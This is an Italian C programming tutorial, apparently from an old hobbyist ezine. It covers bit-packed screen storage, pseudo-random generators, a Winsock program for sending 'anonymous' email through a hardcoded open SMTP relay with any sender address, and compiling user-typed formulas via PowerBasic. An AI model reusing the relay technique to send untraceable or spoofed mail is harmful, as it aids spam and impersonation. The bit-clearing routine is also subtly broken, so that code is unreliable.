 compressioni di sorta, di:

 100x100x16       con risoluzione a    16 colori =     20kbit/c =  5kb  (in un byte si memorizzano 2
                                                                         gruppi di 16 colori)
 100x100x256                          256        =   2.56Mbit/c = 10kb  (in un byte si memorizza 1 gruppo 
                                                                         di 256 colori)  
 100x100x65536                      65536        = 655.45Mbit/c = 20kb  (servono 2 bytes per memorizzare
 												  65536 colori)
 ecc..

 potendo memorizzare in un byte gli stati di 8 pixel dello schermo ridurremmo la dimensione della
 memoria occupata a soli 

 100x100/8                                       =    1.25kb (un colore b/w per bit)

 
  .. e' piu' evidente il guadagno con uno schermo di 640x480

 schermo 640x480    16 col  4bit x 1byte  variabile di char array = 153k
                   256      8bit x 1byte                          = 307k
                 65536      8bit x 2bytes                         = 614k
 schermo 640x480     2 col  8bit x 1byte  variabile di char array =  38k
                         


 .. passando alla pratica, il sistema per poter utilizzare queste variabili a 1 byte
 e' abbastanza semplice.

 Il primo passo tenuto conto che abbiamo a disposizione solo variabili a 1 byte minime 
 e' quello di formalizzare una matrice di valori BIT di dimensione 8 x N 

 facciamo l'esempio con uno schermo di prova 27x5

 100000000000000000000000000
 100000000111100000000000000
 000000000111100000000000000
 000000000000000000000000000
 000000000000000000000000000

 in matrice 8 x n verra' idealmente convertito come 

 10000000
 00000000
 00000000
 00010000
 00001111
 00000000
 00000000
 00000001
 11100000
 00000000
 00000000
 00000000
 00000000
 00000000
 00000000
 00000000
 0000000... 


 il numero matriciale del BIT n sara' identificato dalle coordinate

   X = int(n/8) ..oppure.. n/8 (con X e n interi)

   Y = 8*(n/8-int(n/8)) ..oppure.. n % 8

 dove X rappresenta la coordina verticale dei Bytes
 e Y i BIT relativi a ciascun byte.

 Sara' allora facile settare ogni singolo bit di un byte specifico 
 facendo l'or bitwise del byte X con un 1 shiftato a sinistra tanti
 posti quanti Y

 cosi':    X | 1 << Y

 la procedura per fare questo in pratica e' la seguente:

 metti(char a[],long n,int v)
 {
  long int nu=n/8,po=n%8;
  if(v)a[nu]=a[nu]|1<<po;
  else a[nu]=a[nu]&0xff;
 }


 L'equivalente procedura per controllare lo stato di un byte invece e' questa

 char leggi(char a[],long int n)
 {
  return((a[n/8]&1<<n%8)>0);
 }


 .. e dato che la spiegazione e' stata leggermente pallosa questo e' un esempietto pratico
 per l'utilizzo che segue la vecchia teoria per la quale -veder come si fa val piu' che parlarne
 troppo.- ;-)

 Il programma e' per dos, viene creato uno schermo b/w in modalita' EGA di 640x200 pixel che 
 normalmente occuperebbe in memoria i nostri bei 128Kbytes dovendolo salvare in un formato tipo
 BMP o TIF non compressi. 
 Viene poi salvato lo schermo in memoria caricandolo in un array char di soli 16k per poi cancellarlo
 e rivisualizzarlo estraendolo tramite la funzione "leggi" sopra riportata.

 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
BITTBOOL.c
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <graphics.h>

char leggi(char a[],long int n);

main()
{
 long int n,m;
 int x,y;
 char a[16106]={0};
 int gdriver = EGA, gmode=0, errorcode;

initgraph(&gdriver, &gmode, "");

for(n=0;n<=100;n++)
circle(random(640),random(200),random(100)+50);

printf("Inizio a salvare e memorizzo anche questa scritta\n");
n=0;
for(y=0;y<=200;y++)
 for(x=0;x<=640;x++)
   {
    m=getpixel(x,y); 
    if(m>0)m=1;
    metti(&a,n++,m);
   }
printf("Premi enter");

   getch();
cleardevice();
printf("\nPremendo enter repristino la schermata salvata bitbool");
printf("\n Schermo monocromatico ega 640x200 [ 128k ] ");
printf("\n salvato con un array di [ 16k (16106=((640+1)*(200+1))/8 ]");
 getch();

n=0;
for(y=0;y<=200;y++)
 for(x=0;x<=640;x++)
   {
    m=leggi(&a,n++);
    putpixel(x,y,m*15);
   }
getch();
}

metti(char a[],long n,int v)
{
 long int nu=n/8,po=n%8;
  if(v)a[nu]=a[nu]|1<<po;
  else a[nu]=a[nu]&0xff;
}

char leggi(char a[],long int n)
{
 return((a[n/8]&1<<n%8)>0);
}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




 


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 5. Generazione evoluta di numeri random
//---------------------------------------------------------------------------------------------------

 
Tralasciando la nota disquisizione sulla possibilita' o meno di produrre numeri casuali (funzione e
 casuale sono in effetti due termini dicotomici) ..
 quelle che seguono sono due procedure ricavata da un algoritmo apposito per la generazione evoluta
 di numeri pseudo-casuali sviluppato all'Universita' della Florida e successivamente modificato da
 me per ottenere una migliore risoluzione.
 A tutti gli effetti la produzione di random dell'algoritmo -grande- si colloca ai primi posti
 nel mondo in fatto di serie caotiche non ripetute, purtroppo non si puo' dire altrettanto della    
 velocita' che pero' cmq resta elevata per la maggior parte delle applicazioni comuni.
 Il rapporto con il generatore standard del c++ e' a favore di quest'ultimo ma se si considera 
 che l'algoritmo floridiano produce una serie non ripetuta di 2^9000 random diversi a dispetto dei
 2^30 massimi del generatore congruenziale c i vantaggi sono subito evidenti.
 L'algoritmo -piccolo- (il motore random) e' una semplificazione dell'algoritmo -grande- , risulta
 nettamente pi' veloce ma ovviamente questo e' a scapito della risoluzione infatti la serie non 
 ripetuta si colloca (dipendentemente dal seed) in valori che si aggirano mediamente su 2^80 cifre
 decimali significative.

 Il programma  -grande- e' composto da 3 procedure fondamentali

 1. float RANDOM(void);
 2. void RAND(float VET[], int DIM);
 3. static void RANDOMIZE(int s1, int s2);


 la prima:

---------------------------------------------
float RANDOM(void)
{
float metti;
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
return(metti);
}
---------------------------------------------

 serve a produrre un solo numero random alla volta secondo l'algoritmo citato.



la seconda
---------------------------------------------
void RAND(float VET[],int DIM)
{
int indice;
float metti;
for(indice=1;indice<=DIM; indice++)
 {
  metti=passa[pr]-passa[sc];
  if(metti<0.0) metti+=1.0;
  passa[pr]=metti;pr-=1;
  if(pr==0)pr=0x061;
  sc-=1;if(sc==0)sc=0x061;
  con0-=con1;if(con0<0.0)con0+=con2;
  metti-=con0;if(metti<0.0)metti+=1.0;
  VET[indice]=metti;
 }
}
---------------------------------------------


 crea una lista DIM di numeri random all'interno dell'array di valori float VET[]



la terza
---------------------------------------------
static void RANDOMIZE(s1,s2)
int s1, s2;
{
int   i,j,k,
      l,m,n,
      o;
float s,t,
      alfa=pow(2,24),
      beta=alfa/2.191862086,
      gamma=alfa/46.29014777;
i=(s1/0x0b1)%0x0b1+0x002;
j=s1%0x0b1 + 2;
k=(s2/0x0a9)%0x0b2+0x001;
l=s2%0x0a9;
for(n=1;n<=0x061;n++)
 {
  s=0.0;t=1./2.;
  for(o=1;o<=0x018;o++)
   {
    m=(((i*j)%0x0b3)*k)%0x0b3;
    i=j;j=k;k=m;
    l=(0x035*l+1)%0x0a9;
    if((l*m)%0x040>=0x020)s+=t;
    t*=1./2.;
   }
  passa[n]=s;
 }
con0=gamma/alfa;con1=beta/alfa;
con2=(alfa-0x03)/alfa;
pr=0x061;sc=0x021;
}
---------------------------------------------


 inizializza e prepara variabili e parametri necessari al buon funzionamento
 dell'algoritmo sfruttato dalle due procedure precedenti.
 

 

 Un esempio pratico di programma che sfrutta in modo adeguato le procedure sopra
 riportate potrebbe essere questo.

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
programma GRANDE
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <windows.h>

#define boolean int

float RANDOM(void);
void RAND(float VET[], int DIM);
static void RANDOMIZE(int s1, int s2);

 // Uso:
 // Si inizializza il generatore di numeri casuali con
 // RANDOMIZE(uno,due) .. uno e due sono interi da 0-2^15
 // per un totale di 2^30 diverse partenze nella sequenza random.
 // Con la funzione float RANDOM() si ha un numero casuale in
 // uscita <= 1.
 // In alternativa si dichiara un vettore di float -> float PIPPO[N]
 // e con RAND(PIPPO,N) si generano N numeri casuali nel vettore PIPPO.

main()
{
float BUF[10];
int s1, s2, DIM, i;
float d1[10]={0},d2[10]={0};
FILE *fp;

RANDOMIZE(1234,5678);
clrscr();
fp=fopen("dati","wb");
for(i=0;i<=100;i++)
 {
  fprintf(fp,"%1.4f\n",RANDOM());
  // printf("%d ",i);
 }
 fclose(fp);
 printf("Finito");
 getch();
 exit(0);

su:
for (i=1; i<=10000; i++)
  {
   RAND(BUF, 1);
   if(BUF[1]<0.5)
    {
     RAND(BUF, 1);
     d1[floor(abs(BUF[1]*6))]+=1;
    }
   else
    {
     RAND(BUF, 1);
     d2[floor(abs(BUF[1]*6))]+=1;
    }
  }
clrscr();
printf("%6.1f %6.1f %6.1f %6.1f %6.1f %6.1f \n%6.1f %6.1f %6.1f %6.1f %6.1f %6.1f\n ",d1[0],d1[1],d1[2],d1[3],d1[4],d1[5],d2[0],d2[1],d2[2],d2[3],d2[4],d2[5]);
printf("\n Somma d1= %6.1f \n",d1[0]+d1[1]+d1[2]+d1[3]+d1[4]+d1[5]);
printf("\n Somma d2= %6.1f \n",d2[0]+d2[1]+d2[2]+d2[3]+d2[4]+d2[5]);

i=getch();
if(i==27)exit(0);
for(i=0;i<=6;i++)
  {
   d1[i]=0;
   d2[i]=0;
  }
goto su;
exit(0);
}

static  float passa[0xff], con0, con1, con2;
static  int pr, sc;
static void RANDOMIZE(s1,s2)
int s1, s2;
{
int   i,j,k,
      l,m,n,
      o;
float s,t,
      alfa=pow(2,24),
      beta=alfa/2.191862086,
      gamma=alfa/46.29014777;
i=(s1/0x0b1)%0x0b1+0x002;
j=s1%0x0b1 + 2;
k=(s2/0x0a9)%0x0b2+0x001;
l=s2%0x0a9;
for(n=1;n<=0x061;n++)
 {
  s=0.0;t=1./2.;
  for(o=1;o<=0x018;o++)
   {
    m=(((i*j)%0x0b3)*k)%0x0b3;
    i=j;j=k;k=m;
    l=(0x035*l+1)%0x0a9;
    if((l*m)%0x040>=0x020)s+=t;
    t*=1./2.;
   }
  passa[n]=s;
 }
con0=gamma/alfa;con1=beta/alfa;
con2=(alfa-0x03)/alfa;
pr=0x061;sc=0x021;
}

void RAND(float VET[],int DIM)
{
int indice;
float metti;
for(indice=1;indice<=DIM; indice++)
 {
  metti=passa[pr]-passa[sc];
  if(metti<0.0) metti+=1.0;
  passa[pr]=metti;pr-=1;
  if(pr==0)pr=0x061;
  sc-=1;if(sc==0)sc=0x061;
  con0-=con1;if(con0<0.0)con0+=con2;
  metti-=con0;if(metti<0.0)metti+=1.0;
  VET[indice]=metti;
 }
}

float RANDOM(void)
{
float metti;
metti=passa[pr]-passa[sc];
if(metti<0.0) metti+=1.0;
passa[pr]=metti;pr-=1;
if(pr==0)pr=0x061;
sc-=1;if(sc==0)sc=0x061;
con0-=con1;if(con0<0.0)con0+=con2;
metti-=con0;if(metti<0.0)metti+=1.0;
return(metti);
}
 
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 Una esemplificazione dell'algortimo floridiano e' rappresentata da questo altro programma
 che ho chiamato -piccolo- per via della minore risoluzione che si ottiene con la produzione
 di pseudo casuali. Cio' e' devoluto principalmente all'arrotondamento su grandi numeri che
 si opera al fine di incrementare la velocita'.

 Il programma e' formato principalmente da un header.. il motore inferenziale che genera i random 
 tramite una procedura di inizializzazione per il seed [ _randomize ] e una funzione per l'utilizzo 
 del numero trovato [ trova() ].


::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 motore.h
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 
//----------------------------------
//  Motore random
//----------------------------------
#define \
min 0x41a7
#define \
max 0x7fffffff
long n=1;
long _rand(long s){
  unsigned long un,du;
  un=min*(long)(s&0xFFFF);
  du=min*(long)((unsigned long)s>>0x10);
  un+=(du&0x7FFF)<<0x10;
  if(un>max){un&=max;++un;}
  un+=du>>0xf;
  if(un>max){un&=max;++un;}
  return(long)un;}
float trova(void){
  float p;
  p=n=_rand(n);
  return p/max;}
void _randomize(unsigned long s)
  {n=s?(s&max):1;}
//----------------------------------

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 
 Esempio di utlizzo del motore random.


#include <stdio.h>
#include <stdlib.h>
#include <graphics.h>
#include "motore.h"

int main()
{
 long k;
 float x,y;
 int u,gdriver = DETECT, gmode, errorcode;
 initgraph(&gdriver, &gmode, "");

 _randomize(1);

 for (k=0;k<100000000;++k){
  x = trova()*640;
  y = trova()*480;
  u=getpixel(x,y)+1;
  putpixel(x,y,u);
  if(k%1000==1)if(kbhit()){cleardevice();printf("%ld",k);getch();getch();exit(0);};
 }
}


  riempie uno schermo di 640*480 pixel di colori sequenziali per verificare a-occhio se la generazione
 dei random e' soggetta a qualche pecca.
 Nel caso di una cattiva generazione (cosa che non e' nel nostro caso) di dovrebbero vedere delle 
 strutture grafiche preferenziali a video: delle zone che si riempiono di colore prima delle altre,
 delle righe o delle croci colorate, ecc...
 



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 6. Come postare una mail anonima col C
//---------------------------------------------------------------------------------------------------


 Chiesto da ... he he .. non me lo ricordo piu'! 
 .. cmq e' una domanda questa che a periodi fissi mi viene rifatta da diverse persone. 
 Direi che e' uno dei grandi classici della rete.. 
 leggermente meno "classica" di -dove lo trovo telnet?- ma sicuramente piu' classica di 
 -come trovo la mail se conosco l'ip?- .. ;-)

 .. uno di questi giorni devo mettermi in testa anch'io di fare una raccolta di tutte le domande
 assurde che mi sono state fatte in tanti anni.
 Ce ne sono gia diverse in rete di -raccolte- analoghe ma non ci si stancherebbe mai di leggerle 
 eh!? ..he he

 Cominciamo con lo ..spedire una mail col C. (l'anonimia' verra in seguito ..o quasi. ;-) )

 Tutto il gravoso della faccenda e' relativo all'utilizzo diretto del winsock.
 Il vb si salva in corner grazie agli ocx.. spedire una mail col controllo winsock.ocx della Microsoft
 o col winsck.ocx nella Netmanage e' addirittura banale.
 
 Gia l'utilizzo della libreria winsock.bas (equivalente di winsock.h per il C) resta faticoso.. 
 questo non perche' sia piu' difficile ma forse (probabilmente) perche' da una parte mancano esempi 
 stringati (base fondamentale per la acquisizione di pratica del programmatore) e dall'altra i 
 -convenevoli- necessari per l'inizializzazione del  winsock rendono il tutto mentalmente pesante.
 Lo capisco .. quando ho cominciato anche per me era cosi', poi si scopre che a fronte di un maggior
 impegno iniziale si hanno notevoli guadagni in termini di elementarizzazione delle procedure e di 
 lavoro a basso-livello. 
 Solitamente la strada semplice e' anche quella priva di situazioni interessanti.
 
 Ad ogni modo il programma per spedire una mail e' questo:

 Funziona esattamente come se si stesse lavorando su telnet.
 
 Richiede in ingresso un file con le specifiche della mail ed invia direttamente su un sock 
 connesso all'indirizzo del server mail voluto tutti dati impostati.

 E' uguale a sendmail?.. e' uguale a netcat? .. si pero' questo e' un sorgente veramente minimo 
 e stringato, facile da capire sia nel funzionamento che nella struttura organizzativa.  

 Ve lo riporto cosi' come lo avevo pubblicato con le spiegazioni del caso.

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 info sul programma LAPOSTA.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Procedura elementare per mandare una mail anonima col c++.

 La procedura e' in c++ di base .. quindi e' possibile compilare il
 programma con praticamente ogni tipo compilatore.
 Borland c++ 4/5 (col tre ci vuole il suo winsock.lib .. chi non ce l'ha
 se lo puo' ricavare facilmente passando al programma implib accluso assieme al
 compilatore la libreria winsock.dll a 16 bit)
 Builder, Vc .. tutto insomma.
 (c'e' cmq anche il programma gia' compilato!)

 E' un programma dimostrativo .. serve solo a capire come si deve operare per 
 mandare dati attraverso il TCP usando solo le librerie fondamentali e nessun ocx.
 Ad ogni modo funziona egregiamente senza bisogno di ulteriori modifiche.

 Il funzionamento lo si capisce solo guardando il listato .. sono tre righe.

 .. necessita di un file di script contenente i comandi da inviare esattamente come
 se si stesse operando su telnet (vale solo per SMTP in questo caso ma non e'
 difficile fare le modifiche per ottenere uno script telnet generico.)

 Nel file di script vanno inseriti

 1. L'ip del sendmail a cui collegarsi. (scrivendo DEFAULT viene usato un ip
 di un server SMTP anonimo ..(uno dei pochi ancora attivi in rete))
 2.. tutti i comandi come da specifiche RFC.

 .. e' possibile accludere degli attach codificandoli in uuencode e attaccandoli
 nel body della mail prima del punto finale.
 Vedere lo script di esempio laposta.txt

 .. per spedire la mail:

  MANDA laposta.txt   .. e aspettare la fine.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
LAPOSTA.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//---------------------------------------------------------------------------
#include <vcl\condefs.h>
#pragma hdrstop

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dos.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>

// Assegnazioni
//---------------------------------------------------------------------------
WSAData ws;
SOCKET s;
struct sockaddr_in sock;
int d,n,m;
long gg;
char stringa[4096], stringhina[3];
//---------------------------------------------------------------------------

// Dichiarazione delle procedure
//---------------------------------------------------------------------------
Spedisci_Messaggio(char *messaggio);
Spedisci_ENTER();
Ricevi_Risposte();
//---------------------------------------------------------------------------

main(int nf,char **file)
{
char *leggi;
FILE *fp;

leggi = (char *) calloc(200, sizeof(char));

fp=fopen(file[1],"rb");

// inizializzazione del winsock
//---------------------------------------------------------------------------
gg=WSAStartup(0x0101,&ws);
printf("Attivo il supporto winsock  -> id=%ld\n",gg);
// apertura del socket
s = socket(AF_INET,SOCK_STREAM,0);
printf("Apro il socket n.%ld\n",s);
// dichiarazione della porta e dell'host a cui connettersi
sock.sin_family = AF_INET;
sock.sin_port = htons(25);
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
if(strstr(leggi,"DEFAULT"))strcpy(leggi,"194.235.161.1"); // mail.amadeus.it
sock.sin_addr.s_addr = inet_addr(leggi); 

 // mail.amadeus.it e' un servizio di posta -abbastanza- anonimo
 // CERCATE DI NON ABUSARNE.. non se ne trovano ancora tanti di
 // questi tempi!!!!
 // mettendo la scritta DEFAULT al posto dell'ip del server SMTP
 // che intendiamo usare nella prima riga dello script
 // significa che useremo il servizio amadeus per spedire la posta.
                                                  
// connessione
d=connect(s,(struct sockaddr *)&sock,sizeof(sock));
printf("Sono connesso  -> id=%ld\n",d);
//---------------------------------------------------------------------------


// Spedizione della MAIL ANONIMA
//---------------------------------------------------------------------------
// manda il comando HELO
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();

// manda il comando MAIL FROM
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();

// manda il comando RCPT TO
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();

// manda il comando DATA
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
Spedisci_Messaggio(leggi);
// aspetta il messaggio di ritorno e lo visualizza
Ricevi_Risposte();

 // manda il MESSAGGIO ..
 // non si aspettano risposte se non dopo l'invio del
 // punto finale seguito dal carriage return

manda:
fgets(leggi,200,fp);
if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0';
 if(strlen(leggi)==1&&leggi[0]=='.')
  {
   Spedisci_Messaggio(".");
   Spedisci_ENTER();
   Spedisci_ENTER();
  }
 else
  {
   Spedisci_Messaggio(leggi);
   goto manda;
  }
 fclose(fp);

 // aspetta il messaggio di ritorno e lo visualizza
 Ricevi_Risposte();


 printf("FINITO!");
 exit(0);
}
//---------------------------------------------------------------------------


// Procedure utilizzate :
//---------------------------------------------------------------------------

// Procedura per spedire un messaggio al server con CrLf finale
//---------------------------------------------------------------------------
Spedisci_Messaggio(char *messaggio)
{
 send(s,messaggio,strlen(messaggio),0);
 stringhina[0]=0x0d;stringhina[1]=0x0a;
 send(s,stringhina,2,0);
}
//---------------------------------------------------------------------------

// Procedura per spedire al server un CrLf
//---------------------------------------------------------------------------
Spedisci_ENTER()
{
 stringhina[0]=0x0d;stringhina[1]=0x0a;
 send(s,stringhina,2,0);
}
//---------------------------------------------------------------------------

// Procedura per attendere e visualizzare la risposta del server
// .. paragonabile all'evento Data_Arrival (o quasi) :)
//---------------------------------------------------------------------------
Ricevi_Risposte()
{
 n=recv(s,stringa,sizeof(stringa),0);
 for ( m = 1;m<= n; m++)
 printf("%c",stringa[m-1]);
 printf("\n");
}
//---------------------------------------------------------------------------

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 

  questo e' il file LAPOSTA.TXT che contiene una mail di prova con un attach:
  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
LAPOSTA.TXT
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DEFAULT
HELO Parsifal
MAIL FROM: indirizzo_mail@del_mittente.com
RCPT TO: indirizzo_mail@del_ricevente.com
DATA
Subject: prova di invio mail col nuovo telnet (compresso)

    piro piro piro toppo piro piro pa'
    poro poro poro poro poro pi'
    umpa umpa umpeppe'
    ta taratatta'  .. za za

begin 644 star.gif
M1TE&.#EAH`!0`*$!`````/___P```````"'_"TY%5%-#05!%,BXP`P$````A
M^00$"@#_`"P`````H`!0```"E82/J<OM#Z.<M-J+L]Z\^P^&XDB6YHFFZLJV
M[@O'\DS7=AC<^L[W_@\,"D>YH?&(3"J7S*;S"8U:BM*J]8K-:K<_*O<+#HO'
MY++YC$ZKU^RV^PV/R^?TNOV.S^OW_+[_#Q@H.$BHXE6(F*BXR-CHV'#X*#E)
M66E)$WFIN6F6R:GE^2DZ2EIJ>HJ:JKK*VNKZ"ALKFU<``"'Y!`4*``(`+`4`
M!`"'`$4```)_A`^!R^T/HYRTVHNSWKS[#X;B2)8FHYSJRK;N"Y=I3-?VC>?Z
MSO?^#PP>9L*B\8A,*I?,IO,)C4JGU*KUBLUJM]RN]PL.B\?DLOF,%A'3[+;[
M#8_+Y_2Z_8[/Z_?\OO]_L@8X>"9(>(B8J+C(V.CXB&`(.4E962EIF:D9A#E7
M```A^00%"@`"`"P%``,`D`!,```"BH2/J<OM#Z.<U(2*L]Z\^P^&XDB6YHEZ
M5\JV[@O'\DS7]K'>^L[W_@\,"H?$HO&(3"J7S*;S"8U*I]2J]8K-:K?<KO<+
M#HL;N;'YC$ZKUZ,R^PW_NN/TNOV.S^OW_+[_#Q@H.$A8:'B(F*BXB#C'B.;X
M*#E)66EYB9FIN<G9Z?D)RA092EJZ,RI8```A^00%"@`"`"P9``,`@P!,```"
M@(2/J1;K#Z.<M-J+L]Z\^_\UX$B6YHFFZLJV[@O'\DS7]HWG^L[W_@\,"H?$
MHO&(3"J7S*;S"8U*I]2J]8K-:C>BK?<+#HO'Y%NWC$Z3S^JV^PV/R^?TNOV.
MS^OW_+[_#Q@HF,<V:'B(Z%&8R-CH^`CYMAA)66EYB9FIN<G9Z5,``"'Y!`4*
M``(`+!$``P"+`$D```)^A(^IR^T/HYRTVHNSWKS[#X;B2);FB:;JRK;N"\?R
M3-?VC>?ZSO?^#PP*A\2B\8A,*I?,7Z`)C4JGU*KUBLUJM]RNM_'\BL?DLOD6
M/JNCZ;7[#8_+Y_2Z_8[/Z_?\OO\/&"@X2%AH>(B8J+C(V%C3YA@I.4E9:7F)
MF;D%B50``"'Y!`4*``(`+`0`$P"8`#D```)UA(^IRPWAHIRTVHNSWKS[#X;B
M2);FB:;JRK;N"\?R3-<U9.?ZSO?^#PP*A\2B\8A,*I?,IO,)#>*BU$?UBLUJ
MM]RN]PL.B\?DLOF,3JO7[+;;,'W+Y_1CO([/Z_?\OO\/&"@X2%AH>(B8J+C(
MB''7"!DIR50``"'Y!`4*``(`+`0`$0"8`#\```)]A(^IRQ`-HYRTVHNSWKS[
M#X:B]HSFB:;JRK;N"\?R3-?VC>?ZSO?^#PP*(Z6A\8A,*I?,IK'HC$JGU*KU
MBLUJM]RN]PL.B\?DLOF,3JO7[+;[#8^?H/*Z_8[/Z]WTO?\/&*C4)UAH>(B8
MJ+C(V.CX"!DI.4E9:7F)Z44H60``(?X?3W!T:6UI>F5D(&)Y(%5L96%D(%-M
,87)T4V%V97(A```[
`
end
sum -r/size 19614/1137

.

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::






XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 7. Sistema per la valutazione di funzioni matematiche composte
    in c con precompilazione in altro linguaggio completamente nascosta.
//---------------------------------------------------------------------------------------------------

 
 Il C e' un compilatore! .. he he .. che novita' eh!? :))
 Pero' come tutti i compilatori ha il solito difettaccio (rispetto ad un interprete) di non saper
 elaborare di base funzioni immesse in input.
 Canonicamente si dovrebbe creare una funzione parser che estrae le varie funzioni e una procedura
 per la valutazione di espressioni matematiche che tenga conto di un certo numero di funzioni base
 (trigonometriche, esponenziali, ecc...) e che le esegua correttamente tenendo conto dei segni,
 delle priorita' delle parentesi, ecc...
 Non e' una cosa troppo complessa da buttar giu' ma quando ho fatto questo programma avevo poco tempo
 a disposizione.
 L'idea potrebbe essere utile a tantissimi altri scopi.
 Es: costruirsi un linguaggio di programmazione personale, farsi un esecutore di script, ecc..
 
 L'idea di base e' semplice:
 abbiamo un compilatore X che compila un sorgente scritto nel linguaggio Y.
 (io ho usato il compilatore powerbasic ma si puo' usare minic, turbo pascal [90 k di compilatore
 compresa la mini libreria di base], ecc.. ogni compilatore monofile e di dimensioni ridotte potrebbe
 andar bene)
 
 La soluzione consiste nel compilarsi un programma in C che accetti come input una funzione matematica
 composta.

 es: sin(x^2/9+y^2/9)/(x^2+y^2+1)  .. il solito sombrero ondulato.

 Abbiamo detto che valutarla a meno del processo parser->postvalutazione e' impossibile.
 
 Potremmo pero' associare al nostro programma un compilatore secondario ( il powerbasic appunto )
 
 A questo punto sara' sufficiente far creare dal nostro programma C un file di testo contenente le
 istruzioni per far si che il powerbasic compili la funzione immessa creandosi un programma secondario
 che crei a sua volta sull'hd un secondo file (di testo questa volta) contenente il risultato della 
 funzione per un range di valori da A a B

 il sottoprogramma per la postcompilazione dovrebbe essere all'incirca cosi'

 	x1=a
	x2=b
	S=c);
	FUNCTION pippo(x)
	pippo=sin(x^2/9+y^2/9)/(x^2+y^2+1)
	END FUNCTION
	open "out" for output as #1
	for n=x1 to x2 step S
	print n," ",pippo(n)
 	next n
     close #1

 e quindi per crarlo dovremmo scrivere in C queste righe:

 ....
   	fprintf(f,"x1=%s\r\n",a);
	fprintf(f,"x2=%s\r\n",b);
	fprintf(f,"S=%s\r\n",c);
	fprintf(f,"FUNCTION pippo(x)\r\n");
	fprintf(f,"pippo=%s\r\n",s);
	fprintf(f,"END FUNCTION\r\n");
	fprintf(f,"open \"out\" for output as #1\r\n");
	fprintf(f,"for n=x1 to x2 step S\r\n");
	fprintf(f,"print #1," ";n;str$(pippo(n));\r\n");
 	fprintf(f,"next n\r\n");
     fprintf(f,"close #1\r\n");
